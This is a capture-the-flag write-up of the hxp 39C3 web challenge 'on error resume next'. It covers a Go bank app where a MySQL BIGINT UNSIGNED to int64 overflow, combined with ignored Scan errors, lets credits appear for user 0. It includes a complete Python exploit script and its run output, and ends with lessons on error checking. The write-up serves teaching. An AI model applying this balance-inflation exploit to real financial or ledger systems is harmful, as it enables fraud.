on error resume next
on error resume next
Platform: hxp_39c3 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-28 | Status: Solved Techniques: Error ignoring pattern abuse, Infinite money glitch via scan failure, Integer overflow exploitation (BIGINT UNSIGNED to int64), Type mismatch between database and application
Summary
Task: obtain 1337 credits in a Go bank application to buy the flag. Solution: exploit the type mismatch between MySQL BIGINT UNSIGNED and Go int64 — create a user with id=2^63, causing rows.Scan() overflow which zeroes the receiver field, creating infinite money for user id=0.
on error resume next - hxp 39C3 CTF
Description
Last year I tried error handling https://hxp.io/blog/114/hxp-38C3-CTF-Fajny-Jagazyn-Wartoci-Kluczy/, I got hurt pretty badly :(. Fuck it, I am not touching this shit again. Now it should be secure, right?
A Go web application - a simple bank where users can create accounts, transfer money, and buy a flag for 1337 credits. Each new user gets 10 credits, and there's a limit of 5 users (50 credits total - not enough for the flag).
Analysis
Application Structure
The application is a simple Go web server with MySQL backend:
Database Schema (schema.sql):
sql read-only • copy allowedCREATE TABLE users ( id SERIAL, name VARCHAR(255) ); CREATE TABLE transactions ( sender BIGINT unsigned NOT NULL, subject VARCHAR(255) NOT NULL, amount BIGINT unsigned NOT NULL, receiver BIGINT unsigned NOT NULL, FOREIGN KEY (sender) REFERENCES users(id), FOREIGN KEY (receiver) REFERENCES users(id), CHECK (receiver <> sender) );
Go Structs (main.go):
go read-only • copy allowedtype User struct { ID int64 // SIGNED! Name string Credit uint64 } type transactions struct { Sender int64 // SIGNED! Receiver int64 // SIGNED! Amount uint64 }
Key Vulnerability: Type Mismatch
The critical vulnerability is the mismatch between:
- MySQL:
BIGINT UNSIGNED(0 to 2^64-1) - Go:
int64(signed, -2^63 to 2^63-1)
When a value like 9223372036854775808 (2^63) is stored in MySQL and read by Go's rows.Scan(), it overflows the signed int64 range.
Error Ignoring Pattern
The code follows "on error resume next" philosophy - all errors are ignored:
go read-only • copy allowedrows, _ := db.Query("SELECT amount, receiver, sender FROM transactions") // ... rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)
When Scan() fails to read an overflowing value:
- It returns an error (which is ignored)
- The field is set to its zero value (0 for int64)
- Other fields may still be read correctly
Sum() Function Behavior
go read-only • copy allowedfunc Sum(userID int64) uint64 { rows, _ := db.Query("SELECT amount, receiver, sender FROM transactions") var sum uint64 for rows.Next() { transactions := transactions{} rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender) if transactions.Receiver == userID { sum += transactions.Amount } else if transactions.Sender == userID { sum -= transactions.Amount } } return sum }
The Exploit Logic
- Create normal user (ID=2, gets 10 credits from system)
- Create "biguser" with
id=9223372036854775808(2^63)- MySQL stores this as BIGINT UNSIGNED successfully
- When Go reads it, Scan() fails, receiver becomes 0
- Transfer money from normal user (ID=2) to biguser (receiver=2^63)
- Transaction is stored in DB with receiver=9223372036854775808
- Balance calculation magic:
- For normal user (ID=2): Scan fails on receiver, receiver=0, doesn't match sender=2, so transfer is NOT subtracted
- For ID=0: Scan fails on receiver, receiver=0, matches userID=0, so transfer IS added!
- Result: Sender doesn't lose money, but ID=0 gains money!
- Repeat until Sum(0) >= 1337, then call
/flagwithid=0
Solution
python read-only • copy allowed#!/usr/bin/env python3 """ Exploit for "on error resume next" - hxp 39C3 CTF Vulnerability: 1. When creating a user with id > 2^63-1 (e.g., 9223372036854775808), the Go code's rows.Scan() fails to read the BIGINT UNSIGNED into int64 2. On Scan error, the receiver field becomes 0, but amount is still read correctly 3. This allows infinite money transfer: sender doesn't lose money (transaction not counted for them), but receiver (id=0) gains money 4. The /flag endpoint parses id=0 and calls Sum(0), which counts all these transactions """ import requests import re from urllib.parse import unquote BIGUSER_ID = "9223372036854775808" # 2^63, overflows to 0 in int64 def exploit(url): print(f"[*] Exploiting {url}") session = requests.Session() # Step 1: Create a normal user (gets ID=2, 10 credits) print("[*] Creating normal user...") session.post(f"{url}/signup", data={"name": "normal", "id": "0"}, allow_redirects=False) # Step 2: Create biguser with overflow ID print(f"[*] Creating biguser with id={BIGUSER_ID}...") session.post(f"{url}/signup", data={"name": "biguser", "id": BIGUSER_ID}, allow_redirects=False) # Step 3: Transfer money repeatedly (normal doesn't lose money!) print("[*] Transferring money...") transfers_needed = 140 # 140 * 10 = 1400 > 1337 for i in range(transfers_needed): session.post(f"{url}/transfer", data={ "sender": "2", # normal user "receiver": BIGUSER_ID, "amount": "10", "subject": f"transfer{i}" }, allow_redirects=False) if (i + 1) % 50 == 0: print(f" Transferred {(i + 1) * 10} credits...") # Step 4: Get the flag with id=0 print("[*] Getting flag...") r = session.post(f"{url}/flag", data={"id": "0"}, allow_redirects=False) if "Location" in r.headers: location = r.headers["Location"] if "msg=" in location: msg = unquote(location.split("msg=")[1]) print(f"\n[+] FLAG: {msg}") return msg print("[-] Failed to get flag") return None if __name__ == "__main__": import sys url = sys.argv[1] if len(sys.argv) > 1 else "http://10.244.0.1:13371" exploit(url)
Execution
bash read-only • copy allowed$ python3 solve.py http://10.244.0.1:13371 [*] Exploiting http://10.244.0.1:13371 [*] Creating normal user... [*] Creating biguser with id=9223372036854775808... [*] Transferring money... Transferred 500 credits... Transferred 1000 credits... [*] Getting flag... [+] FLAG: hxp{REDACTED}
References
- Challenge name "on error resume next" is a VB/VBScript error handling statement
- Flag confirms the joke: "I should have never switched away from VB6"
- Previous year's challenge: https://hxp.io/blog/114/hxp-38C3-CTF-Fajny-Jagazyn-Wartoci-Kluczy/
Lessons Learned
- Always check errors - especially from database operations
- Type safety matters - BIGINT UNSIGNED (0 to 2^64-1) doesn't fit in int64 (-2^63 to 2^63-1)
- Scan failures are silent - Go's
rows.Scan()sets fields to zero values on error - Defense in depth - even with "secure" SQL, application logic can be exploited